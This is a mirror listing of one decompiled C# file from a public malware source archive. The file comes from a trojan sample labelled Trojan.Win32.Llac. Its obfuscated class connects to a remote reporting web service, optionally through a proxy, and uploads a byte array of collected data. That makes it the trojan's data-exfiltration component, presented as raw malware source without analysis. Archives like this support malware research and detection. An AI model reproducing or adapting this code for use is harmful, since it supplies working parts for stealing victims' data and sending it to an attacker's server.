mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
f2ac1ece55
add
58 lines
1.7 KiB
C#
58 lines
1.7 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
|
||
|
||
using SmartAssembly.SmartExceptionsCore;
|
||
using System;
|
||
using System.Net;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace \u0004
|
||
{
|
||
internal sealed class \u0004
|
||
{
|
||
private string \u0001;
|
||
private string \u0002 = string.Empty;
|
||
private IWebProxy \u0001;
|
||
|
||
public void \u0003([In] IWebProxy obj0) => this.\u0001 = obj0;
|
||
|
||
public string \u0003()
|
||
{
|
||
try
|
||
{
|
||
UploadReportLoginService reportLoginService = new UploadReportLoginService();
|
||
if (this.\u0001 != null)
|
||
reportLoginService.Proxy = this.\u0001;
|
||
this.\u0002 = reportLoginService.GetServerURL(this.\u0001);
|
||
if (this.\u0002.Length == 0)
|
||
throw new ApplicationException("Cannot connect to webservice");
|
||
return this.\u0002.StartsWith("ERR") ? this.\u0002 : "OK";
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
return "ERR 2001: " + ex.Message;
|
||
}
|
||
}
|
||
|
||
public string \u0003([In] byte[] obj0)
|
||
{
|
||
try
|
||
{
|
||
ReportingService reportingService = new ReportingService(this.\u0002);
|
||
if (this.\u0001 != null)
|
||
reportingService.Proxy = this.\u0001;
|
||
return reportingService.UploadReport2(this.\u0001, obj0);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
return "ERR 2002: " + ex.Message;
|
||
}
|
||
}
|
||
|
||
public \u0004([In] string obj0) => this.\u0001 = obj0;
|
||
}
|
||
}
|